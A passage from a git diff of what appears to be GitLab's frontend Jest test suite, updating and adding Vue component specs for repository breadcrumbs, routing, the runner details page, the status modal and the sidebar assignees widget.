+ propsData: {
+ currentPath,
+ ...extraProps,
+ },
+ stubs: {
+ RouterLink: RouterLinkStub,
+ },
+ mocks: { $apollo },
+ });
+ };
+
+ const findUploadBlobModal = () => wrapper.find(UploadBlobModal);
+
afterEach(() => {
- vm.destroy();
+ wrapper.destroy();
});
it.each`
@@ -30,13 +42,13 @@ describe('Repository breadcrumbs component', () => {
`('renders $linkCount links for path $path', ({ path, linkCount }) => {
factory(path);
- expect(vm.findAll(RouterLinkStub).length).toEqual(linkCount);
+ expect(wrapper.findAll(RouterLinkStub).length).toEqual(linkCount);
});
it('escapes hash in directory path', () => {
factory('app/assets/javascripts#');
- expect(vm.findAll(RouterLinkStub).at(3).props('to')).toEqual(
+ expect(wrapper.findAll(RouterLinkStub).at(3).props('to')).toEqual(
'/-/tree/app/assets/javascripts%23',
);
});
@@ -44,26 +56,44 @@ describe('Repository breadcrumbs component', () => {
it('renders last link as active', () => {
factory('app/assets');
- expect(vm.findAll(RouterLinkStub).at(2).attributes('aria-current')).toEqual('page');
+ expect(wrapper.findAll(RouterLinkStub).at(2).attributes('aria-current')).toEqual('page');
});
- it('does not render add to tree dropdown when permissions are false', () => {
+ it('does not render add to tree dropdown when permissions are false', async () => {
factory('/', { canCollaborate: false });
- vm.setData({ userPermissions: { forkProject: false, createMergeRequestIn: false } });
+ wrapper.setData({ userPermissions: { forkProject: false, createMergeRequestIn: false } });
- return vm.vm.$nextTick(() => {
- expect(vm.find(GlDropdown).exists()).toBe(false);
- });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlDropdown).exists()).toBe(false);
});
- it('renders add to tree dropdown when permissions are true', () => {
+ it('renders add to tree dropdown when permissions are true', async () => {
factory('/', { canCollaborate: true });
- vm.setData({ userPermissions: { forkProject: true, createMergeRequestIn: true } });
+ wrapper.setData({ userPermissions: { forkProject: true, createMergeRequestIn: true } });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlDropdown).exists()).toBe(true);
+ });
+
+ describe('renders the upload blob modal', () => {
+ beforeEach(() => {
+ factory('/', { canEditTree: true });
+ });
+
+ it('does not render the modal while loading', () => {
+ expect(findUploadBlobModal().exists()).toBe(false);
+ });
+
+ it('renders the modal once loaded', async () => {
+ wrapper.setData({ $apollo: { queries: { userPermissions: { loading: false } } } });
+
+ await wrapper.vm.$nextTick();
- return vm.vm.$nextTick(() => {
- expect(vm.find(GlDropdown).exists()).toBe(true);
+ expect(findUploadBlobModal().exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/repository/components/table/row_spec.js b/spec/frontend/repository/components/table/row_spec.js
index 69cb69de5df..3ebffbedcdb 100644
--- a/spec/frontend/repository/components/table/row_spec.js
+++ b/spec/frontend/repository/components/table/row_spec.js
@@ -19,6 +19,9 @@ function factory(propsData = {}) {
projectPath: 'gitlab-org/gitlab-ce',
url: `https://test.com`,
},
+ provide: {
+ glFeatures: { refactorBlobViewer: true },
+ },
mocks: {
$router,
},
@@ -81,7 +84,7 @@ describe('Repository table row component', () => {
it.each`
type | component | componentName
${'tree'} | ${RouterLinkStub} | ${'RouterLink'}
- ${'file'} | ${'a'} | ${'hyperlink'}
+ ${'blob'} | ${RouterLinkStub} | ${'RouterLink'}
${'commit'} | ${'a'} | ${'hyperlink'}
`('renders a $componentName for type $type', ({ type, component }) => {
factory({
diff --git a/spec/frontend/repository/pages/blob_spec.js b/spec/frontend/repository/pages/blob_spec.js
new file mode 100644
index 00000000000..3e7ead4ad00
--- /dev/null
+++ b/spec/frontend/repository/pages/blob_spec.js
@@ -0,0 +1,25 @@
+import { shallowMount } from '@vue/test-utils';
+import BlobContentViewer from '~/repository/components/blob_content_viewer.vue';
+import BlobPage from '~/repository/pages/blob.vue';
+
+jest.mock('~/repository/utils/dom');
+
+describe('Repository blob page component', () => {
+ let wrapper;
+
+ const findBlobContentViewer = () => wrapper.find(BlobContentViewer);
+ const path = 'file.js';
+
+ beforeEach(() => {
+ wrapper = shallowMount(BlobPage, { propsData: { path } });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('has a Blob Content Viewer component', () => {
+ expect(findBlobContentViewer().exists()).toBe(true);
+ expect(findBlobContentViewer().props('path')).toBe(path);
+ });
+});
diff --git a/spec/frontend/repository/router_spec.js b/spec/frontend/repository/router_spec.js
index 3c7dda05ca3..3354b2315fc 100644
--- a/spec/frontend/repository/router_spec.js
+++ b/spec/frontend/repository/router_spec.js
@@ -1,3 +1,4 @@
+import BlobPage from '~/repository/pages/blob.vue';
import IndexPage from '~/repository/pages/index.vue';
import TreePage from '~/repository/pages/tree.vue';
import createRouter from '~/repository/router';
@@ -11,6 +12,7 @@ describe('Repository router spec', () => {
${'/-/tree/master'} | ${'master'} | ${TreePage} | ${'TreePage'}
${'/-/tree/master/app/assets'} | ${'master'} | ${TreePage} | ${'TreePage'}
${'/-/tree/123/app/assets'} | ${'master'} | ${null} | ${'null'}
+ ${'/-/blob/master/file.md'} | ${'master'} | ${BlobPage} | ${'BlobPage'}
`('sets component as $componentName for path "$path"', ({ path, component, branch }) => {
const router = createRouter('', branch);
diff --git a/spec/frontend/runner/runner_detail/runner_detail_app_spec.js b/spec/frontend/runner/runner_detail/runner_detail_app_spec.js
new file mode 100644
index 00000000000..5caa37c8cb3
--- /dev/null
+++ b/spec/frontend/runner/runner_detail/runner_detail_app_spec.js
@@ -0,0 +1,29 @@
+import { shallowMount } from '@vue/test-utils';
+import RunnerDetailsApp from '~/runner/runner_details/runner_details_app.vue';
+
+const mockRunnerId = '55';
+
+describe('RunnerDetailsApp', () => {
+ let wrapper;
+
+ const createComponent = (props) => {
+ wrapper = shallowMount(RunnerDetailsApp, {
+ propsData: {
+ runnerId: mockRunnerId,
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays the runner id', () => {
+ expect(wrapper.text()).toContain('Runner #55');
+ });
+});
diff --git a/spec/frontend/security_configuration/configuration_table_spec.js b/spec/frontend/security_configuration/configuration_table_spec.js
index b8a574dc4e0..a1789052c92 100644
--- a/spec/frontend/security_configuration/configuration_table_spec.js
+++ b/spec/frontend/security_configuration/configuration_table_spec.js
@@ -30,7 +30,7 @@ describe('Configuration Table Component', () => {
expect(wrapper.text()).toContain(scanner.name);
expect(wrapper.text()).toContain(scanner.description);
if (scanner.type === REPORT_TYPE_SAST) {
- expect(wrapper.findByTestId(scanner.type).text()).toBe('Configure via Merge Request');
+ expect(wrapper.findByTestId(scanner.type).text()).toBe('Configure via merge request');
} else if (scanner.type !== REPORT_TYPE_SECRET_DETECTION) {
expect(wrapper.findByTestId(scanner.type).text()).toMatchInterpolatedText(UPGRADE_CTA);
}
diff --git a/spec/frontend/security_configuration/manage_sast_spec.js b/spec/frontend/security_configuration/manage_sast_spec.js
index 7c76f19ddb4..15a57210246 100644
--- a/spec/frontend/security_configuration/manage_sast_spec.js
+++ b/spec/frontend/security_configuration/manage_sast_spec.js
@@ -79,7 +79,7 @@ describe('Manage Sast Component', () => {
it('should render Button with correct text', () => {
createComponent();
- expect(findButton().text()).toContain('Configure via Merge Request');
+ expect(findButton().text()).toContain('Configure via merge request');
});
describe('given a successful response', () => {
diff --git a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
index 4b827301943..33df3a66fcd 100644
--- a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
+++ b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
@@ -10,8 +10,8 @@ exports[`EmptyStateComponent should render content 1`] = `
<h1 class=\\"h4\\">Getting started with serverless</h1>
<p>In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. <gl-link-stub href=\\"/help\\">More information</gl-link-stub>
</p>
- <div>
- <gl-button-stub category=\\"primary\\" variant=\\"success\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" href=\\"/clusters\\">Install Knative</gl-button-stub>
+ <div class=\\"gl-display-flex gl-flex-wrap gl-justify-content-center\\">
+ <gl-button-stub category=\\"primary\\" variant=\\"confirm\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" href=\\"/clusters\\" class=\\"gl-mb-3 gl-mx-2\\">Install Knative</gl-button-stub>
<!---->
</div>
</div>
diff --git a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
index 21b9721438d..403f9509f84 100644
--- a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
+++ b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
@@ -44,6 +44,7 @@ describe('SetStatusModalWrapper', () => {
const findNoEmojiPlaceholder = () => wrapper.find('.js-no-emoji-placeholder');
const findToggleEmojiButton = () => wrapper.find('.js-toggle-emoji-menu');
const findAvailabilityCheckbox = () => wrapper.find(GlFormCheckbox);
+ const findClearStatusAtMessage = () => wrapper.find('[data-testid="clear-status-at-message"]');
const initModal = ({ mockOnUpdateSuccess = true, mockOnUpdateFailure = true } = {}) => {
const modal = findModal();
@@ -57,18 +58,18 @@ describe('SetStatusModalWrapper', () => {
return wrapper.vm.$nextTick();
};
- beforeEach(async () => {
- mockEmoji = await initEmojiMock();
- wrapper = createComponent();
- return initModal();
- });
-
afterEach(() => {
wrapper.destroy();
mockEmoji.restore();
});
describe('with minimum props', () => {
+ beforeEach(async () => {
+ mockEmoji = await initEmojiMock();
+ wrapper = createComponent();
+ return initModal();
+ });
+
it('sets the hidden status emoji field', () => {
const field = findFormField('emoji');
expect(field.exists()).toBe(true);
@@ -96,6 +97,14 @@ describe('SetStatusModalWrapper', () => {
findToggleEmojiButton().trigger('click');
expect(wrapper.vm.showEmojiMenu).toHaveBeenCalled();
});
+
+ it('displays the clear status at dropdown', () => {
+ expect(wrapper.find('[data-testid="clear-status-at-dropdown"]').exists()).toBe(true);
+ });
+
+ it('does not display the clear status at message', () => {
+ expect(findClearStatusAtMessage().exists()).toBe(false);
+ });
});
describe('with no currentMessage set', () => {
@@ -146,9 +155,28 @@ describe('SetStatusModalWrapper', () => {
});
});
+ describe('with currentClearStatusAfter set', () => {
+ beforeEach(async () => {
+ mockEmoji = await initEmojiMock();
+ wrapper = createComponent({ currentClearStatusAfter: '2021-01-01 00:00:00 UTC' });
+ return initModal();
+ });
+
+ it('displays the clear status at message', () => {
+ const clearStatusAtMessage = findClearStatusAtMessage();
+
+ expect(clearStatusAtMessage.exists()).toBe(true);
+ expect(clearStatusAtMessage.text()).toBe('Your status resets on 2021-01-01 00:00:00 UTC.');
+ });
+ });
+
describe('update status', () => {
describe('succeeds', () => {
- beforeEach(() => {
+ beforeEach(async () => {
+ mockEmoji = await initEmojiMock();
+ wrapper = createComponent();
+ await initModal();
+
jest.spyOn(UserApi, 'updateUserStatus').mockResolvedValue();
});
@@ -167,18 +195,26 @@ describe('SetStatusModalWrapper', () => {
// set the availability status
findAvailabilityCheckbox().vm.$emit('input', true);
+ // set the currentClearStatusAfter to 30 minutes
+ wrapper.find('[data-testid="thirtyMinutes"]').vm.$emit('click');
+
findModal().vm.$emit('ok');
await wrapper.vm.$nextTick();
- const commonParams = { emoji: defaultEmoji, message: defaultMessage };
+ const commonParams = {
+ emoji: defaultEmoji,
+ message: defaultMessage,
+ };
expect(UserApi.updateUserStatus).toHaveBeenCalledTimes(2);
expect(UserApi.updateUserStatus).toHaveBeenNthCalledWith(1, {
availability: AVAILABILITY_STATUS.NOT_SET,
+ clearStatusAfter: null,
...commonParams,
});
expect(UserApi.updateUserStatus).toHaveBeenNthCalledWith(2, {
availability: AVAILABILITY_STATUS.BUSY,
+ clearStatusAfter: '30_minutes',
...commonParams,
});
});
@@ -208,7 +244,11 @@ describe('SetStatusModalWrapper', () => {
});
describe('with errors', () => {
- beforeEach(() => {
+ beforeEach(async () => {
+ mockEmoji = await initEmojiMock();
+ wrapper = createComponent();
+ await initModal();
+
jest.spyOn(UserApi, 'updateUserStatus').mockRejectedValue();
});
diff --git a/spec/frontend/sidebar/assignees_realtime_spec.js b/spec/frontend/sidebar/assignees_realtime_spec.js
index 0fab6a29f71..f0a6fa40d67 100644
--- a/spec/frontend/sidebar/assignees_realtime_spec.js
+++ b/spec/frontend/sidebar/assignees_realtime_spec.js
@@ -1,7 +1,7 @@
import ActionCable from '@rails/actioncable';
import { shallowMount } from '@vue/test-utils';
-import query from '~/issuable_sidebar/queries/issue_sidebar.query.graphql';
import AssigneesRealtime from '~/sidebar/components/assignees/assignees_realtime.vue';
+import { assigneesQueries } from '~/sidebar/constants';
import SidebarMediator from '~/sidebar/sidebar_mediator';
import Mock from './mock_data';
@@ -18,18 +18,19 @@ describe('Assignees Realtime', () => {
let wrapper;
let mediator;
- const createComponent = () => {
+ const createComponent = (issuableType = 'issue') => {
wrapper = shallowMount(AssigneesRealtime, {
propsData: {
issuableIid: '1',
mediator,
projectPath: 'path/to/project',
+ issuableType,
},
mocks: {
$apollo: {
- query,
+ query: assigneesQueries[issuableType].query,
queries: {
- project: {
+ workspace: {
refetch: jest.fn(),
},
},
@@ -51,8 +52,8 @@ describe('Assignees Realtime', () => {
describe('when handleFetchResult is called from smart query', () => {
it('sets assignees to the store', () => {
const data = {
- project: {
- issue: {
+ workspace: {
+ issuable: {
assignees: {
nodes: [{ id: 'gid://gitlab/Environments/123', avatarUrl: 'url' }],
},
@@ -95,7 +96,7 @@ describe('Assignees Realtime', () => {
wrapper.vm.received({ event: 'updated' });
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.$apollo.queries.project.refetch).toHaveBeenCalledTimes(1);
+ expect(wrapper.vm.$apollo.queries.workspace.refetch).toHaveBeenCalledTimes(1);
});
});
});
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
new file mode 100644
index 00000000000..824f6d49c65
--- /dev/null
+++ b/spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js
@@ -0,0 +1,558 @@
+import { GlSearchBoxByType, GlDropdown } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { cloneDeep } from 'lodash';
+import { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import searchUsersQuery from '~/graphql_shared/queries/users_search.query.graphql';
+import { IssuableType } from '~/issue_show/constants';
+import SidebarAssigneesRealtime from '~/sidebar/components/assignees/assignees_realtime.vue';
+import IssuableAssignees from '~/sidebar/components/assignees/issuable_assignees.vue';
+import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
+import SidebarInviteMembers from '~/sidebar/components/assignees/sidebar_invite_members.vue';
+import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
+import { ASSIGNEES_DEBOUNCE_DELAY } from '~/sidebar/constants';
+import MultiSelectDropdown from '~/vue_shared/components/sidebar/multiselect_dropdown.vue';
+import getIssueParticipantsQuery from '~/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql';
+import updateIssueAssigneesMutation from '~/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql';
+import {
+ issuableQueryResponse,
+ searchQueryResponse,
+ updateIssueAssigneesMutationResponse,
+} from '../../mock_data';
+
+jest.mock('~/flash');
+
+const updateIssueAssigneesMutationSuccess = jest
+ .fn()
+ .mockResolvedValue(updateIssueAssigneesMutationResponse);
+const mockError = jest.fn().mockRejectedValue('Error!');
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+const initialAssignees = [
+ {
+ id: 'some-user',
+ avatarUrl: 'some-user-avatar',
+ name: 'test',
+ username: 'test',
+ webUrl: '/test',
+ },
+];
+
+describe('Sidebar assignees widget', () => {
+ let wrapper;
+ let fakeApollo;
+
+ const findAssignees = () => wrapper.findComponent(IssuableAssignees);
+ const findRealtimeAssignees = () => wrapper.findComponent(SidebarAssigneesRealtime);
+ const findEditableItem = () => wrapper.findComponent(SidebarEditableItem);
+ const findDropdown = () => wrapper.findComponent(MultiSelectDropdown);
+ const findInviteMembersLink = () => wrapper.findComponent(SidebarInviteMembers);
+ const findSearchField = () => wrapper.findComponent(GlSearchBoxByType);
+
+ const findParticipantsLoading = () => wrapper.find('[data-testid="loading-participants"]');
+ const findSelectedParticipants = () => wrapper.findAll('[data-testid="selected-participant"]');
+ const findUnselectedParticipants = () =>
+ wrapper.findAll('[data-testid="unselected-participant"]');
+ const findCurrentUser = () => wrapper.findAll('[data-testid="current-user"]');
+ const findUnassignLink = () => wrapper.find('[data-testid="unassign"]');
+ const findEmptySearchResults = () => wrapper.find('[data-testid="empty-results"]');
+
+ const expandDropdown = () => wrapper.vm.$refs.toggle.expand();
+
+ const createComponent = ({
+ search = '',
+ issuableQueryHandler = jest.fn().mockResolvedValue(issuableQueryResponse),
+ searchQueryHandler = jest.fn().mockResolvedValue(searchQueryResponse),
+ updateIssueAssigneesMutationHandler = updateIssueAssigneesMutationSuccess,
+ props = {},
+ provide = {},
+ } = {}) => {
+ fakeApollo = createMockApollo([
+ [getIssueParticipantsQuery, issuableQueryHandler],
+ [searchUsersQuery, searchQueryHandler],
+ [updateIssueAssigneesMutation, updateIssueAssigneesMutationHandler],
+ ]);
+ wrapper = shallowMount(SidebarAssigneesWidget, {
+ localVue,
+ apolloProvider: fakeApollo,
+ propsData: {
+ iid: '1',
+ fullPath: '/mygroup/myProject',
+ ...props,
+ },
+ data() {
+ return {
+ search,
+ selected: [],
+ };
+ },
+ provide: {
+ canUpdate: true,
+ rootPath: '/',
+ ...provide,
+ },
+ stubs: {
+ SidebarEditableItem,
+ MultiSelectDropdown,
+ GlSearchBoxByType,
+ GlDropdown,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ gon.current_username = 'root';
+ gon.current_user_fullname = 'Administrator';
+ gon.current_user_avatar_url = '/root';
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ fakeApollo = null;
+ delete gon.current_username;
+ });
+
+ describe('with passed initial assignees', () => {
+ it('passes `initialLoading` as false to editable item', () => {
+ createComponent({
+ props: {
+ initialAssignees,
+ },
+ });
+
+ expect(findEditableItem().props('initialLoading')).toBe(false);
+ });
+
+ it('renders an initial assignees list with initialAssignees prop', () => {
+ createComponent({
+ props: {
+ initialAssignees,
+ },
+ });
+
+ expect(findAssignees().props('users')).toEqual(initialAssignees);
+ });
+
+ it('renders a collapsible item title calculated with initial assignees length', () => {
+ createComponent({
+ props: {
+ initialAssignees,
+ },
+ });
+
+ expect(findEditableItem().props('title')).toBe('Assignee');
+ });
+
+ describe('when expanded', () => {
+ it('renders a loading spinner if participants are loading', () => {
+ createComponent({
+ props: {
+ initialAssignees,
+ },
+ });
+ expandDropdown();
+
+ expect(findParticipantsLoading().exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('without passed initial assignees', () => {
+ it('passes `initialLoading` as true to editable item', () => {
+ createComponent();
+
+ expect(findEditableItem().props('initialLoading')).toBe(true);
+ });
+
+ it('renders assignees list from API response when resolved', async () => {
+ createComponent();
+ await waitForPromises();
+
+ expect(findAssignees().props('users')).toEqual(
+ issuableQueryResponse.data.workspace.issuable.assignees.nodes,
+ );
+ });
+
+ it('renders an error when issuable query is rejected', async () => {
+ createComponent({
+ issuableQueryHandler: mockError,
+ });
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred while fetching participants.',
+ });
+ });
+
+ it('assigns current user when clicking `Assign self`', async () => {
+ createComponent();
+
+ await waitForPromises();
+
+ findAssignees().vm.$emit('assign-self');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: 'root',
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+
+ await waitForPromises();
+
+ expect(
+ findAssignees()
+ .props('users')
+ .some((user) => user.username === 'root'),
+ ).toBe(true);
+ });
+
+ it('emits an event with assignees list on successful mutation', async () => {
+ createComponent();
+
+ await waitForPromises();
+
+ findAssignees().vm.$emit('assign-self');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: 'root',
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+
+ await waitForPromises();
+
+ expect(wrapper.emitted('assignees-updated')).toEqual([
+ [
+ [
+ {
+ __typename: 'User',
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ id: 'gid://gitlab/User/1',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: '/root',
+ status: null,
+ },
+ ],
+ ],
+ ]);
+ });
+
+ it('renders current user if they are not in participants or assignees', async () => {
+ gon.current_username = 'random';
+ gon.current_user_fullname = 'Mr Random';
+ gon.current_user_avatar_url = '/random';
+
+ createComponent();
+ await waitForPromises();
+ expandDropdown();
+
+ expect(findCurrentUser().exists()).toBe(true);
+ });
+
+ describe('when expanded', () => {
+ beforeEach(async () => {
+ createComponent();
+ await waitForPromises();
+ expandDropdown();
+ });
+
+ it('collapses the widget on multiselect dropdown toggle event', async () => {
+ findDropdown().vm.$emit('toggle');
+ await nextTick();
+ expect(findDropdown().isVisible()).toBe(false);
+ });
+
+ it('renders participants list with correct amount of selected and unselected', async () => {
+ expect(findSelectedParticipants()).toHaveLength(1);
+ expect(findUnselectedParticipants()).toHaveLength(2);
+ });
+
+ it('does not render current user if they are in participants', () => {
+ expect(findCurrentUser().exists()).toBe(false);
+ });
+
+ it('unassigns all participants when clicking on `Unassign`', () => {
+ findUnassignLink().vm.$emit('click');
+ findEditableItem().vm.$emit('close');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: [],
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+ });
+ });
+
+ describe('when multiselect is disabled', () => {
+ beforeEach(async () => {
+ createComponent({ props: { multipleAssignees: false } });
+ await waitForPromises();
+ expandDropdown();
+ });
+
+ it('adds a single assignee when clicking on unselected user', async () => {
+ findUnselectedParticipants().at(0).vm.$emit('click');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: ['root'],
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+ });
+
+ it('removes an assignee when clicking on selected user', () => {
+ findSelectedParticipants().at(0).vm.$emit('click', new Event('click'));
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: [],
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+ });
+ });
+
+ describe('when multiselect is enabled', () => {
+ beforeEach(async () => {
+ createComponent({ props: { multipleAssignees: true } });
+ await waitForPromises();
+ expandDropdown();
+ });
+
+ it('adds a few assignees after clicking on unselected users and closing a dropdown', () => {
+ findUnselectedParticipants().at(0).vm.$emit('click');
+ findUnselectedParticipants().at(1).vm.$emit('click');
+ findEditableItem().vm.$emit('close');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: ['francina.skiles', 'root', 'johndoe'],
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+ });
+
+ it('removes an assignee when clicking on selected user and then closing dropdown', () => {
+ findSelectedParticipants().at(0).vm.$emit('click', new Event('click'));
+
+ findEditableItem().vm.$emit('close');
+
+ expect(updateIssueAssigneesMutationSuccess).toHaveBeenCalledWith({
+ assigneeUsernames: [],
+ fullPath: '/mygroup/myProject',
+ iid: '1',
+ });
+ });
+
+ it('does not call a mutation when clicking on participants until dropdown is closed', () => {
+ findUnselectedParticipants().at(0).vm.$emit('click');
+ findSelectedParticipants().at(0).vm.$emit('click', new Event('click'));
+
+ expect(updateIssueAssigneesMutationSuccess).not.toHaveBeenCalled();
+ });
+ });
+
+ it('shows an error if update assignees mutation is rejected', async () => {
+ createComponent({ updateIssueAssigneesMutationHandler: mockError });
+ await waitForPromises();
+ expandDropdown();
+
+ findUnassignLink().vm.$emit('click');
+ findEditableItem().vm.$emit('close');
+
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred while updating assignees.',
+ });
+ });
+
+ describe('when searching', () => {
+ it('does not show loading spinner when debounce timer is still running', async () => {
+ createComponent({ search: 'roo' });
+ await waitForPromises();
+ expandDropdown();
+
+ expect(findParticipantsLoading().exists()).toBe(false);
+ });
+
+ it('shows loading spinner when searching for users', async () => {
+ createComponent({ search: 'roo' });
+ await waitForPromises();
+ expandDropdown();
+ jest.advanceTimersByTime(ASSIGNEES_DEBOUNCE_DELAY);
+ await nextTick();
+
+ expect(findParticipantsLoading().exists()).toBe(true);
+ });
+
+ it('renders a list of found users and external participants matching search term', async () => {
+ const responseCopy = cloneDeep(issuableQueryResponse);
+ responseCopy.data.workspace.issuable.participants.nodes.push({
+ id: 'gid://gitlab/User/5',
+ avatarUrl: '/someavatar',
+ name: 'Roodie',
+ username: 'roodie',
+ webUrl: '/roodie',
+ status: null,
+ });
+
+ const issuableQueryHandler = jest.fn().mockResolvedValue(responseCopy);
+
+ createComponent({ issuableQueryHandler });
+ await waitForPromises();
+ expandDropdown();
+
+ findSearchField().vm.$emit('input', 'roo');
+ await nextTick();
+
+ jest.advanceTimersByTime(ASSIGNEES_DEBOUNCE_DELAY);
+ await nextTick();
+ await waitForPromises();
+
+ expect(findUnselectedParticipants()).toHaveLength(3);
+ });
+
+ it('renders a list of found users only if no external participants match search term', async () => {
+ createComponent({ search: 'roo' });
+ await waitForPromises();
+ expandDropdown();
+ jest.advanceTimersByTime(250);
+ await nextTick();
+ await waitForPromises();
+
+ expect(findUnselectedParticipants()).toHaveLength(2);
+ });
+
+ it('shows a message about no matches if search returned an empty list', async () => {
+ const responseCopy = cloneDeep(searchQueryResponse);
+ responseCopy.data.workspace.users.nodes = [];
+
+ createComponent({
+ search: 'roo',
+ searchQueryHandler: jest.fn().mockResolvedValue(responseCopy),
+ });
+ await waitForPromises();
+ expandDropdown();
+ jest.advanceTimersByTime(ASSIGNEES_DEBOUNCE_DELAY);
+ await nextTick();
+ await waitForPromises();
+
+ expect(findUnselectedParticipants()).toHaveLength(0);
+ expect(findEmptySearchResults().exists()).toBe(true);
+ });
+
+ it('shows an error if search query was rejected', async () => {
+ createComponent({ search: 'roo', searchQueryHandler: mockError });
+ await waitForPromises();
+ expandDropdown();
+ jest.advanceTimersByTime(250);
+ await nextTick();
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occurred while searching users.',
+ });
+ });
+ });
+ });
+
+ describe('when user is not signed in', () => {
+ beforeEach(() => {
+ gon.current_username = undefined;
+ createComponent();
+ });
+
+ it('does not show current user in the dropdown', () => {
+ expandDropdown();
+ expect(findCurrentUser().exists()).toBe(false);
+ });
+
+ it('passes signedIn prop as false to IssuableAssignees', () => {
+ expect(findAssignees().props('signedIn')).toBe(false);
+ });
+ });
+
+ it('when realtime feature flag is disabled', async () => {
+ createComponent();
+ await waitForPromises();
+ expect(findRealtimeAssignees().exists()).toBe(false);
+ });
+
+ it('when realtime feature flag is enabled', async () => {
+ createComponent({
+ provide: {
+ glFeatures: {
+ realTimeIssueSidebar: true,
+ },
+ },
+ });
+ await waitForPromises();
+ expect(findRealtimeAssignees().exists()).toBe(true);
+ });
+
+ describe('when making changes to participants list', () => {
+ beforeEach(async () => {
+ createComponent();
+ });
+
+ it('passes falsy `isDirty` prop to editable item if no changes to selected users were made', () => {
+ expandDropdown();
+ expect(findEditableItem().props('isDirty')).toBe(false);
+ });
+
+ it('passes truthy `isDirty` prop if selected users list was changed', async () => {
+ expandDropdown();
+ expect(findEditableItem().props('isDirty')).toBe(false);
+ findUnselectedParticipants().at(0).vm.$emit('click');
+ await nextTick();
+ expect(findEditableItem().props('isDirty')).toBe(true);
+ });
+
+ it('passes falsy `isDirty` prop after dropdown is closed', async () => {
+ expandDropdown();
+ findUnselectedParticipants().at(0).vm.$emit('click');
+ findEditableItem().vm.$emit('close');
+ await waitForPromises();
+ expect(findEditableItem().props('isDirty')).toBe(false);
+ });
+ });
+
+ it('does not render invite members link on non-issue sidebar', async () => {
+ createComponent({ props: { issuableType: IssuableType.MergeRequest } });
+ await waitForPromises();
+ expect(findInviteMembersLink().exists()).toBe(false);
+ });
+
+ it('does not render invite members link if `directlyInviteMembers` and `indirectlyInviteMembers` were not passed', async () => {
+ createComponent();
+ await waitForPromises();
+ expect(findInviteMembersLink().exists()).toBe(false);
+ });
+
+ it('renders invite members link if `directlyInviteMembers` is true', async () => {
+ createComponent({
+ provide: {
+ directlyInviteMembers: true,
+ },
+ });
+ await waitForPromises();
+ expect(findInviteMembersLink().exists()).toBe(true);
+ });
+
+ it('renders invite members link if `indirectlyInviteMembers` is true', async () => {
+ createComponent({
+ provide: {
+ indirectlyInviteMembers: true,
+ },
+ });
+ await waitForPromises();
+ expect(findInviteMembersLink().exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_editable_item_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_editable_item_spec.js
index 4ee12838491..84b192aaf41 100644
--- a/spec/frontend/sidebar/components/assignees/sidebar_editable_item_spec.js
+++ b/spec/frontend/sidebar/components/assignees/sidebar_editable_item_spec.js
@@ -5,7 +5,7 @@ import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue'
describe('boards sidebar remove issue', () => {
let wrapper;
- const findLoader = () => wrapper.find(GlLoadingIcon);
+ const findLoader = () => wrapper.findComponent(GlLoadingIcon);
